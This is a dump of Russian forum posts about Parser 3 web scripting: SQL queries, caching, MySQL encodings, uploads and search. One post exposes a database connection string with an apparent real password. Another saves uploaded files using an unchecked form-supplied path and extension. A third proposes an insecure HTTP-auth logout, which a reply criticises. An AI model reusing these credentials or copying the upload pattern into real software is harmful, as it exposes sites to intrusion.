"13813","... просто я понятия не имел, что поток можно держать открытым и подпитывать его данными...\
\
Пойду книжки читать..."
"13814","Странно, считаю maxrss сначала и в конце @main[]\
и там и там - 0.\
\
Кусочек rusage.log\
[code]\
[2003-02-26 17:29:39.551420] 192.168.0.10: start main 0.04 0.02 /cinema/ maxrss: 0 \
[2003-02-26 17:29:40.014665] 192.168.0.10: end MAIN 0.34 0.06 /cinema/ maxrss: 0 \
[/code]\
\
кусочек просто log\
[code]\
Process time: 0.3\
\
Total SQL requests count: 4\
SQL requests by type:\
void=0\
hash=0\
int=1\
table=3\
double=0\
string=0\
[/code]\
\
Что-то у меня неверно?\
\
И еще. Интересен способ определения времени, уходящего именно на SQL запросы.\
Кто-то этим занимался ?"
"13815","насколько я понимаю логику формированием парсера страницы - нельзя, но может у ПАФ-а в рукаве что-нить есть :)\
\
по поводу развития подобных вещей - это вопрос не ко мне."
"13816","и это.. я смотрю кто-то стал использовать выложенный мной класс.\
\
если интересно, я могу выложить обновленные версии... там многое картинально изменилось... появился родитель sql.p в который переехали общие вещи..."
"13817","Более того, я смотрю он где-то в репозитории должон быть ...\
открыть не хочешь ? :)"
"13818","Выложил. Как кеш експайрнится - увидите (оперой уже видно)"
"13819","К примеру с датами, если хочешь выбрать за последние 10 мин записи,\
можно сделать как у меня:\
[code]\
where\
UNIX_TIMESTAMP(last_access)>UNIX_TIMESTAMP(NOW() - interval 10 minute)\
[/code]"
"13820","вот привязались все к этому UNIX_TIMESTAMP..."
"13822","Хм... Можно попробывать и средствами БД.\
Однако, как я уже написал Парсер корректно сортирует и формат БД, и соединяет таблицы тоже неплохо ;)...\
Вопрос в другом, вывод последних, к примеру 5 записей, отсортированных по дате (НЕ за промежуток).\
\
У меня ранее работала система цикла со сдвигом текущей строки и выводом, но лишь сейчас заметил, что сортировка некорректна.\
Просто вывел (.menu) таблицу - всё правильно.\
А вот как бы вывести лишь верхние пять строк вопрос...\
\
Ну и вопрос по конструктору даты мне покоя не даёт..."
"13823","неплохо бы задокументить cache_options ...\
какие там параметры ?\
"
"13824","WHERE last_access > NOW() - INTERVAL 10 MINUTE\
\
P.S. на всякий случай проверил только что..."
"13825","пока их там всего парочка:\
$options[\
$.file[файл куда сохранится результат]\
$.clear(если не 0, то просто удаляем файл, который указали в file, сам запрос игнорируется)\
]\
\
это то, что нужно было мне, естественно можно сделать время для кеширования, но я не стал.\
\
я использую это так: \
1. когда надо вызываю ^MAIN:pSQL.sql[table][запрос][параметры запроса][$.file[$файл_для_кеша]]\
2. если происходит какое-то событие, по которому я знаю, что должен кеш очистится я зову: ^MAIN:pSQL.sql[table][;][$.file[$файл_для_кеша]$.clear(1)] и знаю, что следующий запрос как в п.1 достанет что мне надо из базы, а не из файлика.\
\
да, с кешированием осторожно, возможны баги, если в текстах есть ентеры :) я использую это там, где их заведомо нет."
"13828","Мне инетресно, как можно сделать так, чтобы в меню, пунктами был не текст, а картинка (чтобы сделать кнопочки красивые). Есть и способ, похожий на описанный в уроке (номер не помню, тот, что про меню и то что оно берет значения из файлла sections.cfg). Допустим, чтобы в таблице были еще столбцы с указанием путя или названия рисунка? \
\
PS Понимаю, что кому-то мой вопрос покажется смешным, но буду очень благодарен, если хоть один человек даст ответ на мой вопрос."
"13829","в планах уже стоит нечто подобное,\
но не совсем точно такое.\
\
поищите по форуму \"NNTP\".\
\
реально появится, когда или кто-то напишет для parser кусок сам.\
или когда у нас появится такой клиент, которому такое нужно.\
\
насколько я понимаю, эта задача [b]нетипична[/b], и, как таковую, её стоит решать другими средствами."
"13830","Ну как же, если просто сделать картинку перед каждым пунктом меню, например стрелочку там... то это вот так:\
\
[code]\
^sections.menu{\
<img src=arrow.gif>$sections.name <br>\
}\
[/code]\
\
Если же картинка должна зависеть от того, что это за пункт меню, то можно в файле menu.cfg хранить путь к картинке (допустим столбец picture) и делать так вот:\
\
[code]\
^sections.menu{\
 <img src=$sections.picture><br>\
}\
[/code]\
\
Если я что-то не так понял, пиши!"
"13831","Я вот как придумал сделать. Считать таблицу из файла, выбрать все записи кроме модифицируемой, добавить измененную запись, сохранить эту таблицу в файл. Писать новый метод слишком долго. Так проще. Куда смотрят разработчики? (Если они услышат: эта функция крайне нужна)\
\
^rem{Апгрейд рейтинга у соответствующего ответа (причем без наличия нормальных средств для апгрейда)}\
$ans[^table::load[answer.cfg]] \
\
^if(^ans.locate[id;$a]){}\
$rec[\
	$.id[$ans.id]\
	$.id_quest[$ans.id_quest]\
	$.answer[$ans.answer]\
	$.rating[$ans.rating]\
	$.correct[$ans.correct]\
]\
$rec.rating.int[]\
$rec.rating($rec.rating+1)\
\
$part_ans[^ans.select($ans.id ne $a)]\
^part_ans.append{$rec.id	$rec.id_quest	$rec.answer	$rec.rating	$rec.correct}\
^part_ans.sort($part_ans.id)[desc]\
^part_ans.save[answer.cfg]\
"
"13833","...не верно используешь.\
\
не приведешь код, показывающий, что ты делаешь со сформированым объектом?\
\
после $dt[^date::create[$nv.date]], $dt просто так выводить нельзя, получишь ошибку, которую ты и привел. там не строка. чтобы вывести как строку - используй ^dt.sql-string[] или посмотри на  [url=\"/examples/date/\"]этот класс[/url]. \
\
сравнивать созданые таким образом даты в ^if - можно. \
\
к тому-же т.к. объект типа date имеет числовое значение (в выражениях преобразуется к числу), то его-же можно использовать для сортировки.\
пример:\
[code]\
$t[^table::create{name	dt\
a	2003-02-26 15:30:30\
b	2003-02-26 15:30:31\
c	2000-01-20 05:03:01\
}]\
\
^t.sort(^date::create[$t.dt])\
^t.menu{$t.name}[<br />]\
\
<br /><br />\
\
^t.sort(^date::create[$t.dt])[desc]\
^t.menu{$t.name}[<br />]\
[/code]\
\
внимание, подобные сортировки надо делать осторожно, особенно с большими таблицами. дело в том, что [b]для каждой строки[/b] будет происходить создание объекта типа date, и лишь потом по этим значениям будет происходить сортировка.\
\
поэтому все-таки стОит это делать средствами sql сервера."
"13835","если какие есть, то только в серверах баз данных.\
\
warning: не забывайте при работе с oracle использовать специальную конструкцию в insert[в доке по parser подробно написано], иначе получите странные ошибки про «длину литерала»."
"13838","я знаю, что replace быстрей\
и там можно так:\
$repl[^table::create[nameless]{...>^&#133^;}]\
\
а вот в match как написать короче чем это:\
$str.match[\\.\\.\\.][g]{^&#133^;}\
???\
"
"13839","Получаю файл через форму для его последующего сохранения\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"ImageSmall\" size=50>\
<input type=\"submit\" value=\"Загрузить\">\
</form>\
\
^if(def $form:ImageSmall){ \
    ^form:ImageSmall.save[binary;/images/small/id${form:ProductID}.jpg]\
[/code]\
\
Все работает. файлу присваивается новое имя, а вот с расширением не могу разобраться. Приходится всем файлам давать расширение [b].jpg[/b]\
\
Каким образом можно выделить расширение загружаемого файла, чтобы оставить его без изменений."
"13840","Благодарю за наставление - непременно сегодня проверю.\
\
Таблица на ~25 строк, так что думаю не велика нагрузка.\
\
Дело в том, что простой .sort  по дате (формата БД!) для таблицы работает. Тут всё как надо.\
\
А вот с выводом некоего количества последних значений (не зависимо от текущей даты, просто последние) закавыка.\
Если решу - с :date даже дела иметь не придётся."
"13841","латинские буквы нормально \"поднимаются\" и \"опускаются\", а русские ведут себя как-то не предсказуемо :(\
кодировка по умолчанию в MySQL изменена  с latin1 на cp1251\
Подскажите кто знает как это побороть."
"13843","очевидно, кодировка по-умолчанию изменена плохо.\
вы уверены, что всё сделали правильно?\
\
сделайте mysqldump и посмотрите на буквы, будут ли они в windows-1251 кодировке?\
\
большой необходимости менять кодировку нет, поскольку mysql прекрасно работает в кодировке koi и умеет прозрачно перекодировать koi<->win для присоединяющихся к нему клиентов. см. настройку строки соединения parser с mysql."
"13844","когда я копирую русский текст из MySQLFront допустим в Блокнот или в текстовоеполе, то получается такая вот фигня:\
&#205;&#238;&#226;&#238;&#226;&#226;&#229;&#228;&#229;&#237;&#232;&#229; - &#240;&#229;&#234;&#235;&#224;&#236;&#237;&#251;&#229; &#241;&#238;&#238;&#225;&#249;&#229;&#237;&#232;&#255;.\
\
Но это видимо глюк клиента (MySQLFront-a), т.к. из EMS MySQL Manager-а всё копируется/вставляется правильно, но и в нём при выполнении запроса не получается правильно обработать русские буквы.\
\
Вы пишете, что \
// очевидно, кодировка по-умолчанию изменена плохо.\
// вы уверены, что всё сделали правильно?\
\
А как сделать так, чтобы кодировка по-умолчанию была изменена хорошо?\
Изменял я её добавлением в файл my.ini\
строчки после [mysqld]\
default-character-set=cp1251"
"13845","^match[\\.{3}][g]{&#133^;}"
"13846","[code]\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"ImageSmall\" size=50>\
<input type=\"submit\" value=\"Загрузить\">\
</form>\
\
^if(def $form:ImageSmall){ \
    ^form:ImageSmall.save[binary;/images/small/id${form:ProductID}.^file:justext[$form:ImageSamll.name]]\
[/code]"
"13848","Вот тут ISO пишет:\
>> Как вы думаете почему не особенно активно происходит:\
>> - разработка классов для Парсера третими разработчиками\
>> - написание полезных скриптов с открытыми исходниками\
>> - прочие вещи, которые улучшают Парсер или повышают его популярность ? \
\
#Соображение первое, психологическое.\
Эти (или подобные им) вопросы периодически всплывают на форуме (аз грешен тоже). Если по-честному, то, IMHO, за абстрактно-теоретической оболочкой обычно кроется конкретно-практический вопрос: \"где я могу ...ть готовые решения для своих задач?\". :)\
Думаю, что величественное молчание \"отцов-основателей\" в ответ на эти вопросы и происходит от нежелания способствовать нашей инфантильности (это я не ругаюсь, слово такое есть :), инфант=дитя).\
Ничего не изменится, пока мы не перестанем требовать \"титьку в рот\" (гусары, молчать! :), а будем писать в форум: \"Вот, смотрите, каку бяку я наделал. Пользуйтесь, а если что не так - критикуйте\".\
NB: здесь ничего личного...\
                                                                                             \
#Соображение второе, философское.\
Самый глобальный ответ на ISO-вопросы - если чего-то длительное время не происходит, значит, в этом нет ни у кого _реальной_ (достаточно \"жгучей\") потребности.\
Как только появляется потребность/необходимость - возникает орган/функция, удовлетворяющая эту потребность. Такой вот ламаркизм (школьный курс биологии помните ещё?).\
\
Если отвечать в частности, то IMHO важная причина недостаточной активности в том, что не вполне ещё сформировалось community (сообщество разработчиков). \
Оно (это сообщество):\
- либо должно быть достаточно большим (набраться некая \"критическая масса\"), тогда возникает внутреннее соревнование между её, извиняюсь, членами;\
- либо иметь ярко выраженного лидера, задающего темп и организацию работ в соответствии со своими(!) целями и по своему разумению. (\"Настоящих буйных мало - вот и нету вожаков (с) В.С.Высоцкий\")\
\
Причём я не хочу сказать ничего плохого, кроме хорошего, в адрес создателей Parser. Свои функции - поддержка системы [PAF] и контроль чистоты кода и духа [Misha] - они выполняют на все 100! (Кстати, а где Luzhnikovskiy?)\
\
#Соображение третье, методическое.\
Возвращаясь к Соображению первому. Не могу не заметить, что \"бяку\" свою выкладывать в форум всё же неудобно. Место ей в каком-то, как это по-научному, репозитарии... (М и Жо :)\
\
Я уже писАл (http://parser.ru/forum/?id=13375) о разнице между Примерами, которыми заведует Misha, и открытой библиотекой кодов (модулей, классов), о которой периодически заходит речь.\
Примеры должны остаться как дидактические (учебные) материалы, но нехило было бы сделать раздел для постепенной \"доводки\" совместными усилиями \"полезных скриптов с открытыми исходниками\".\
\
Если это неприемлемо на сайте parser.ru, остаётся надеяться на \"инициативу трудящихся\" - кто у себя может это ... выложить? \
А на parser.ru можно сделать просто ссылки на \"третьи ресурсы\": egoroff, titov, agat, Cep}|{ и т.д.\
(Извините, если кого не назвал. Порядок перечисления произволен. В этом процессе ни один программист не пострадал. Реклама оплачена Фондом содействия развитию технологии Parser в Российской Федерации. :-).\
Ну или просто пометить в parser/powered_by_parser, что некие сайты не просто сделаны на Parser, но содержат материалы по этой технологии. Никаких гарантий, никаких рекомендаций от parser.ru - as is. \
\
----\
Ох и люблю я писАть длинные письма...\
"
"13849","простое задание этой строчки не делает желаемого.\
\
1. не пытайтесь настраивать, если не знаете как.\
2. имейте в виду, что на unix в MySQL 3.x кодировка базы вообще меняется только перекомпиляцией сервера.\
3. имейте в виду, что koi-8r, это стандартная кодировка MySQL сервера, которая ставится по умолчанию на подавляющем большинстве hosting площадок, и вам надо будет рано или поздно хоститься.\
\
диагноз: \
пользуйтесь проверенным временем решением: база в koi, клиент, при присоединении к ней заявляет, что он просит его запросы перекодировать win->koi, а ответы на них для него перекодировать koi->win.\
"
"13851","практически всё уже сделал, но упёрся в проблему с преобразованием русских букв к верхнему/нижнему регистру. В упрощенном варианте есть примерно следующее:\
SELECT ....\
.....\
WHERE upper(body) REGEXP '^form:searchtext.upper[]'\
\
вот только upper(body) неправильно работает.\
MySQL сейчас стоит под WinNT\
\
//пользуйтесь проверенным временем решением: база в koi, клиент,\
//при присоединении к ней заявляет, что он просит его запросы\
//перекодировать win->koi, а ответы на них для него перекодировать\
//koi->win.\
\
что значт база в koi, т.е. default-character-set =koi8_ru\
А что koi-8r это панацея от всёх бед, что-то я сомневаюсь? А если я хочу не в koi-8?\
\
//не пытайтесь настраивать, если не знаете как.\
\
я как раз и хочу разобраться как правильно настроить, чтобы всё работало и работало правильно :), поэтому и задаю вопрос. Если Вы мне поможете практическим советом буду Вам очень благодарен.\
"
"13852","топик"
"13853","1. REGEXP==RLIKE - поиск по шаблону. По моему в твоем случае достаточно LIKE\
2. LIKE - ищет без учета регистра (если не установлен флаг binary). т.е. никакие upper тебе не нужны, правда если не работает UPPER не факт, что будет нормально работать LIKE\
3. не хочешь koi8-r не юзай, но когда наступит момент и ты захочешь захостить это там, где база в koi8-r то будешь заниматься перекодированием.\
4. при изменении default-character-set sql сервер не занимается перекодированием того, что уже лежит в базах. ему это надо? ты просто говоришь ему: \"а теперь считай, что все, что у тебя там лежит, лежит вот в такой вот кодировке\". выход - все достать из базы, перекодировать, грохнуть в базе, поставить нормальный charset и загрузить все обратно, при этом default-character-set и charset загружаемых данных должны совпадать. уф. надеюсь, что ничего не напутал."
"13854","Описание проблемы:\
Формирование страницы - разбор uri, формирование xml,\
сверху - transform.\
кеширование включает трансформ, т.е. целиком страница.\
И-магазин с корзиной на каждой странице.\
\
Проблема: т.к. страницы кешируются целиком, то и отображение корзины тоже кешируется. Этого быть не должно.\
\
Решение: проверка кеширования в зависимости от корзины. ИМХО не совсем верно.\
\
Что посоветуют знатоки ?\
"
"13855","Знаете такая проблема.\
\
Вот у миня есть такой код\
$rab[<a href=\"\">мы медведи</a>]\
^process{$rab}\
\
Ну дак вот дома. под виндой у миня всё пашет. Выводит ссылку \"мы медведи\"\
\
А когда на хочтинг загрузил он мне выводит как есть переменная. Т.е. <a href=\"\">мы медведи</a>\
\
\
Что делать?:(\
\
"
"13856","а чтобы знать, куда его надо воткнуть - помести в текст, который ляжет в кеш какие-либо маркеры.\
\
мы последнее время используем подобные конструкции:\
[parser]^метод_будет_выполнен_в_постпроцессе[][/parser]\
\
соответственно в @postprocess[] поиск по шаблону (понятно чего) и process этого..."
"13857","посмотрите в доке на один из вариантов вызова ^cache."
"13858","был такой баг, не помню с какой версии был исправлен."
"13859","не ну сервер я качал самую последнию......неделю назад где-то скачал"
"13860","очевидно, вы упростили пример и он не совпадает с тем, что пробуете на самом деле?"
"13861","Есть пользовательский класс\
Есть auto.p в нем объявленна переменная.  в классе использую эту переменную.\
\
Создаю объект класса. использую методы для выдачи данных - а болт переменная значение не выдает. \
\
Как сделать...."
"13862","LIKE попробую ещё раз (дубль №2) :) может получится с его помощью побороть.\
\
//3. не хочешь koi8-r не юзай, но когда наступит момент и ты захочешь захостить это там, где база в koi8-r то будешь заниматься перекодированием.\
\
Это я прекрасно понимаю, но с этим всё нормально.\
\
//4. при изменении default-character-set sql сервер не занимается перекодированием того, что уже лежит в базах. ему это надо? ты просто говоришь ему: \"а теперь считай, что все, что у тебя там лежит, лежит вот в такой вот кодировке\". выход - все достать из базы, перекодировать, грохнуть в базе, поставить нормальный charset и загрузить все обратно, при этом default-character-set и charset загружаемых данных должны совпадать. уф. надеюсь, что ничего не напутал.\
\
Здесь тоже всё нормально! У меня уже стоит default-character-set=cp1251 и сервис MySQL-я я перезапускал. Я в пустую таблцу добавляю новые записи и делаю по ним SELECT upper(body) и работает не правильно!\
:("
"13864","@center[]\
$config[^table::load[config.cfg]] \
$zamena[^table::load[zamena.cfg]] \
<table width=100%><tr><td align=left><img src='gif/opr_text.jpg'></td><td align=right><img src='gif/opr.jpg'></td><tr></table>\
\
	^connect[mysql://npopioner:hsn82zkr@localhost/npopioner]{\
		$sql_table[^table::sql{SELECT * FROM `table` WHERE `id`='О компании'}]\
	}\
\
	$repl[^table::create[nameless]{^taint[^#0A]	<br><dd></dd>}]\
\
		$rab[<dd></dd>$sql_table.text]\
		$rab[^rab.replace[$zamena]]\
		^process{^rab.replace[$repl]}<br><br>\
		\
</td></tr>\
<tr><td></td><td colspan=2 height=1 class=ramka></td>\
\
\
только неспрашиваете пачиму два раза репласе делаю.....так надо....."
"13865","многовато конечно\
/auto.p\
\
@USE\
/classes/class_menu.p\
/classes/class_head.p\
@auto[] \
\
#<VAR>\
$connect_string[что-то]\
$web_url[что-то]\
\
#<PROCEDURE>\
@dbconnect[code] \
^connect[$connect_string]{$code} \
\
@head[]\
$temp_head[^class_head::create[]]\
^temp_head.head_show[]\
\
\
@show[]\
$temp_menu[^class_menu::create[]] \
^temp_menu.menu_show[]\
\
\
/classes/class_menu.p\
\
@CLASS\
class_menu\
\
@create[] \
^MAIN:dbconnect{ \
$menu_table[^table::sql{select name, url, hint from menu}] \
} \
\
@menu_show[]\
^if($menu_table){ \
<TABLE  CLASS=\"menutab\" BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"1\" WIDTH=\"100%\">\
 <TR CLASS=\"null\">\
  <IMG SRC=\"images/null.gif\" HEIGHT=\"8\" WIDTH=\"184\">\
 </TR>\
 <TR>\
  <TH CLASS=\"head\" ID=\"topleft\">\
  &nbsp^;щ+і----+--+-&nbsp^;\
  </TH>\
 </TR>\
   ^menu_table.menu{  \
 <TR>\
  <TD CLASS=\"img\">\
   <IMG SRC=\"images/null.gif\" WIDTH=\"11\" HEIGHT=\"11\">\
    &nbsp^;\
   <A CLASS=\"mainmenu\" onmouseover=\" display('${request:uri}$menu_table.url :: $menu_table.hint')^; return true^;\" HREF=\" $menu_table.url\"> \
    $menu_table.name $web_url\
 $web_url\
   </A>\
      \
&nbsp^;\
  </TD>\
 </TR>\
 }\
 </TR>\
</TABLE>\
\
}{ \
 #error messages\
} \
\
"
"13866","http://parser.ru/examples/tainting/"
"13867","топик"
"13869","к переменной из auto.p надо обращаться $MAIN:var т.е. здесь $MAIN:web_url"
"13870","А поддерживает ли libxml XML Schema? И когда планируется включить проверку валидности XML c помощью DTD?"
"13871","A partial implementation of XML Schemas is being worked on but it would be far too early to make any conformance statement about it at the moment.\
\
Но второй по прежнему открытый."
"13872","Ведь корзинка тоже в трансформ попадает ...\
"
"13873","в исходниках в pa_globals.C флажок.\
видимо, со временем будет опция, но пока такой насущной необходимости не было."
"13874","Александр, а почему вы решили использовать Gnome libxml etc. а не скажем Apache Xerces/Xalan? Ведь у них функциональность пошире и XML Schema они поддерживают.\
\
Спрашиваю потому что, хочется реализовать на сайте вывод информации из внешних источников и неплохо бы проверять эти источники на валидность перед их загрузкой на локальный сервер."
"13875","если покопаетесь в CVS увидите, что изначально использовался именно Xerces/Xalan.\
\
однако он фантастически медленный и прожорливый до памяти."
"13876","Кстати говорят что в версии 1.1 и выше он стал гораздо быстрее. В CVS попробую покопаться, однако на dialup это невесело :)"
"13877","@nowuri[]\
$str[$request:uri]\
$part[^str.split[index.html;h]]\
$part.0\
\
В ^nowuri[] попадает, к примеру, \"/forum/news/\"\
В файле sections.cfg содержится та же самая строка. \
НО! При операции ^if строки считаются разными!\
\
Почему? Или дайте ваш способ избавления от имени документа."
"13880","хотя с ним есть сложности...\
О! Придумал!\
[code]\
@get_dir[fullname]\
$result[^file:dirname[${fullname}a]/]\
[/code]\
;)\
\
у тебя проблема в том, что если ты посмотришь, что тебе вернул твой @nowuri[] то увидишь переводы строк перед самим путем.\
измени @nowuri[]:\
[code]\
@nowuri[]\
$str[$request:uri]\
$part[^str.split[index.html;h]]\
$result[$part.0]\
[/code]\
\
и все будет пучком (про то, что закладываться на index.html плохо - тебе уже написали)"
"13881","Если рассматривать вашу структуру, получается так:\
\
Вы запросили $request:uri он выдал /forum/news/index.html\
такое может произойти только если вы в ссылке указали index.html, что само по себе не очень красиво. Указывайте лучше /forum/news/\
Второе что может быть - неправильно задан ^if\
Попробуй добавить в @nowuri[]\
$result[$part.0] - вместо $part.0\
\
Тогда \
$uri[^nowuri[]]\
^if($uri eq чему-то){то делать то-то}\
"
"13882","в их сторону не смотрю, как бы быстро они не работали.\
\
смотрел код: люди не напрягались на память."
"13883","Придумал, такую штуку для UltraEdit (может, я, конечно,и не первый), но осуществить не могу. Может кто знает...\
\
Допустим есть у нас такая конструкция\
[code]\
@metod[]\
if^(...){\
}\
#end of @metod[]\
[/code]\
\
Если мы щелкнем в редакторе на любую из скобок, нам автоматически подсветится закрывающая скобка\
\
А можно ли селать так, чтобы при щелчке на @metod[] нам подсвечивался конец метода вида #end of @metod[]?"
"13885","Дело было в этом:\
\
>> Попробуй добавить в @nowuri[]\
>> $result[$part.0] - вместо $part.0"
"13888","Кеширую XML в main.\
в postprocess \
делаю transform этого хозяйства, т.е. transform накладывается также на закешированные данные,\
получаю глюк, похожий на оптимизацию ...\
непонятную потерю тегов.\
\
вызов такой:\
[code]\
@main[]\
^mycache[\
  bla-bla \
 ...\
 ...\
]\
@postprocess[body]\
$result[\
	^if(!$XML){\
		^render[$body;public/${items.xsl}.xsl]\
	}{\
		$body\
	}\
@mycache[body]\
^cache[$cacheFile]($cache_time){\
^taint[as-is][$body]\
}\
@render[xml;xsl]\
тут трансформ\
[/code]\
\
Если кеширования не происходит, то все ок,\
если происходит - очевидны потери некоторых тегов после transform"
"13889","кеширование запроса у меня так и не выходит, видимо с путями что-то не то:(\
зато есть дополнение:\
[code]\
@sql[type;body;sql_options;cache_options][f]\
^if($debug){$begin_time(^status:rusage.tv_usec.double[])}\
\
.... код, и все такое ...\
\
^if($debug){\
	$end_time(^status:rusage.tv_usec.double[])\
\
	$query_time(^eval($query_time+$end_time-$begin_time))\
}\
#end @sql[]\
[/code]"
"13891","если например метод состоит из 200 строк, он на экран не влезет и эта штука была бы полезной."
"13892","проблема была в том, что я не сразу понял как составлять шаблоны (обычно пишут: body LIKE '*АБВ*', а MySQL оказывается нужно body LIKE '%АБВ%') :)\
\
а UCASE() и LCASE() для меня всё равно не понятно почему не работают - вроде кодировка правильно настроена???\
\
Misha, как у тебя на форуме поиск реализован: ищется фраза целиком? (т.е. AND) или можно делать и OR (чтобы искало хотя бы одно из слов, входящих в фразу - видимо OR пока не реализован)?\
А если делать OR, то что, разбивать строку на слова регулярным выражением и на лету генерить sql-запрос через  \"||\" (ИЛИ)? Как тебе такой вариант?\
\
"
"13893","Очевидно, что transform тоже кеширует что-то. Если XML\
не изменяется, то, судя по наблюдениям, теряются \
некоторые <xsl:import href=\"...\" />\
"
"13894","если вы в mycache передаёте [тело так], то вы ничего не выигрываете в скорости, надо {передавать так}."
"13895","transform относительно дорогая операция, делать её в @postprocess можно только на отладочных, а не настоящих серверах."
"13896","Я помню, Вы писали про wordfile. Может  у Вас есть какие-нибудь мысли?\
"
"13897","хотелось бы вразумительного ответа на проблему, которая до сих пор осталась.\
\
P.S. я неверно написал, mycache вызывался как mycache{ },\
замеры по скорости делал.\
\
Time SQL: 0.156\
\
Process time: 0.19\
Transform time: 0.11\
Total: 0.3 \
\
с кешированием:\
Time SQL: 0.000\
\
Process time: 0\
Transform time: 0.15\
Total: 0.15 "
"13898","и приведите \
1. чёткий рабочий пример, с указанием, \
2. как, по-вашему, должно быть, и \
3. как оно есть.\
"
"13899","Сейчас так:\
пытаюсь найти фразу целиком (при чем тут AND? body LIKE '%$text%'), если получается - показываю результаты, если не получается, пытаюсь найти сообщения, где встречаются все слова вне зависимости от их порядка сделования (разбиваю по пробелам, но естественно не с помощью регулярного выражения, а с помощью split и AND body LIKE '%$word%'). если и это не получается - пишу извините.\
\
искать что-то, где есть только одно слово - не есть круто (по моему). возможно, что стОит попробовать найти \"без одного слова\", но вопрос - без какого? я пока хорошего решения без тучи запросов не придумал.\
\
По твоему вопросу: ты не решил проблему, ты загнал ее вглубь..."
"13900","Ребята, у вас тут в явном виде нигде не написано, как собрать Parser 3 в виде модуля Apache под FreeBSD 4.5 Не набросаете коротенько инструкцию, как это сделать?"
"13901","./configure --with-apache=...\
make\
на экране будет инструкция, что сделать дальше."
"13902","Ага. Все, нашел. (Надо было FAQ для начала прочитать ;-)"
"13904","делать не \
[code]\
WHERE body LIKE '%$word1%' AND body LIKE '%$word2%' AND body LIKE '%$word3%'\
[/code]\
(т.е. так ищутся все слова не зависимо от их последовательности - это хороший варант, мне он тоже нравится! - это я обозвал AND)\
\
я предлагал сделать через OR:\
[code]\
WHERE body LIKE '%$word1%' || body LIKE '%$word2%' || body LIKE '%$word3%'\
[/code]\
\
Это множество больше, т.к. сюда будут входить и записи содержашие различные комбинации этих 3-х слов (и по два и по одному), но по-твоему это есть плохой вариант. Я пока тоже ещё не решил как лучше сделать, поэтому пошёл на форум, чтобы со знающими людьми посоветоваться.\
Т.е. как я понял, ты считаешь что вариант AND лучше, чем OR. Так?"
"13907","а из 3-10 слов решить какие следует игнорировать, по-моему это нерешаемая задача, либо надо хранить где-то список всяких предлогов, союзов и т.п. стоп-слов. Это конечно можно сделать, но слишком муторно и всё равно всех кто ищет полностью устравать не будет :) (вдруг поисковик отбросит от \"большого собственного ума\" очень важное по мнению пользователя слово. Слишком \"умные\" программы иногда только начинают бесить пользователей своим \"умом\")\
Поэтому видимо с этим даже не стоит и заморачиваться (моё мнение)."
"13908","1. Требуется защитить /user/\
2. На него прописывается необходимый .htpasswd\
3. Для логаута используем каталог /user/logout/\
4. В нем  также требуем авторизацию, заводим отдельный .htpasswd в котором прописываем только одного пользователя: например логин=100, пароль=100.\
5. Естественно такого пользователя не должно быть в файле с данными для реальных пользователей.\
6. Для выхода пользуем ссылку вида <a href=http://100:100@userhost.ru/user/logout/>exit</a>\
7. В /user/logout/index.html пишем redirect на требуемый файл.\
8. Т.о. при попытке обращения к /user/ в Remote_user будет 100, данные о котором в \"правильном\" файле с помощью которого мы проверям аутентификацию отсутствуют и выдасться окошко с предложением ввести логин /пароль."
"13909","config(1): 'q:\\home\\mack.ru\\cgi-bin\\parser3/auto.p' read failed: actually read 4294967295 bytes count not in [0..3793] valid range"
"13910","Только там у меня возникла некоторая проблема с секундами... (вычитать просто миллисекунды низя), поэтому пришлось очень грубо заткнуть дырку."
"13911",":)\
итак, прикрутил к sql.p статистику по подсчету времени выполнения запросов (спасибо Nexus-у) и взглянув на один из запросов в данном форуме несколько офигел :)\
\
запрос:\
[code]\
SELECT MAX(dt_published) FROM forum_message WHERE forum_id = 1 AND is_published = 1\
[/code]\
\
результаты explain:\
[code]\
table	type	possible_keys	key	key_len	ref	rows	Extra\
forum_message	ALL	ix_message_0,ix_forum_id	13875	where used\
[/code]\
\
время выполнения > 100 ms :(\
индексы есть по forum_id, is_published, dt_published\
\
для примера... все запросы в форуме выполняются 350 ms (т.е. этот запрос - треть всего времени). учитывая тот факт, что этот запрос нужен лишь для того, чтобы показать максимальные даты для фильтра по датам я загрустил.\
\
почему этот запрос работает долго тоже понятно: большинство сообщений имеет is_published = 1 и forum_id = 1, поэтому индексы фактически не используются.\
\
в то-же самое время, если убрать из запроса WHERE, то он выполняется мгновенно (0.887 ms) т.к. сервер просто берет это максимальное значение и все.\
\
в рамках данного форума я действительно могу просто выкинуть WHERE, или в качестве максимальной даты использовать результат ^date::now[], но в общем случае эту задачу мне очень хотелось-бы решить... создание составного индекса может и поможет решить эту проблему, только я не знаю как... \
\
сделать индекс из datetime и int... и что он будет выбирать по max? в общем буду экспериментировать, а если у кого есть мысли - давайте их сюда ;)"
"13912","create index ix_forum_message_1 on forum_message (forum_id, dt_published)\
\
и все стало хорошо (is_published выкинул из where, тут оно не особо надо)\
\
похоже, что т.к. mysql дату хранит как число, он очень хорошо обошелся с запросом:\
SELECT MAX(dt_published) FROM forum_message WHERE forum_id = 1\
когда есть индекс по dt_published и forum_id...\
\
P.S. вот и поговорил с собой :)"
"13913","Доброго времени суток! \
 \
подскажите, пожалуйста, решение вот какой проблемы: в парсере на странице не указывается явно кодировка. Открыв эту страницу в дриме она отображается счего-то вдруг в кодировке iso, и никак изменить этого не могу. В настройках DW (ctrl+u) вроде как всё нормально прописано...  В настройке страницы (Ctrl+J) меняй - не меняй на Cirilic Windows-1251: лучше не становится... \
 \
есть мысли по решению этой задачки? "
"13914","для чего нужен logout? \
чтобы после него нельзя было воспользоваться системой.\
\
оставьте окошко с MSIE в таком состоянии[каталог /user/logout, на экране запрос пароля] и уйдите от компьютера.\
приду я, нажму back, и… спокойно переведу деньги с вашего счёта на мой.\
\
ответ на все такие сообщения, буде у кого будет желание их опубликовать: сначала попробуйте как следует, потом публикуйте."
"13916","вижу, что explain не показал использование индекса с dt_published.\
посмотрел[:)] в имеющиеся индексы, увидел, что dt_published идёт отдельным индексом, а надо бы совместить, чтобы он шёл в составном индексе после forum_id. \
\
идеал: составной индекс по forum_id,is_published [b]и[/b] dt_published: тогда сервер по первым двум полям индекса всё отфильтрует, а из остального возьмёт max, при этом вообще в таблицу не обращаясь."
"13917","таков заголовок ответа parser3, если вы всё поставили по-умолчанию.\
перед тем, как публиковать сомнения, зайдите и посмотрите глазами:\
[code]\
C:\\> telnet www.вашсервер.ru 80\
HEAD / HTTP/1.1\
host:www.вашсервер.ru\
<<тут ещё раз нажмите Enter\
[/code]\
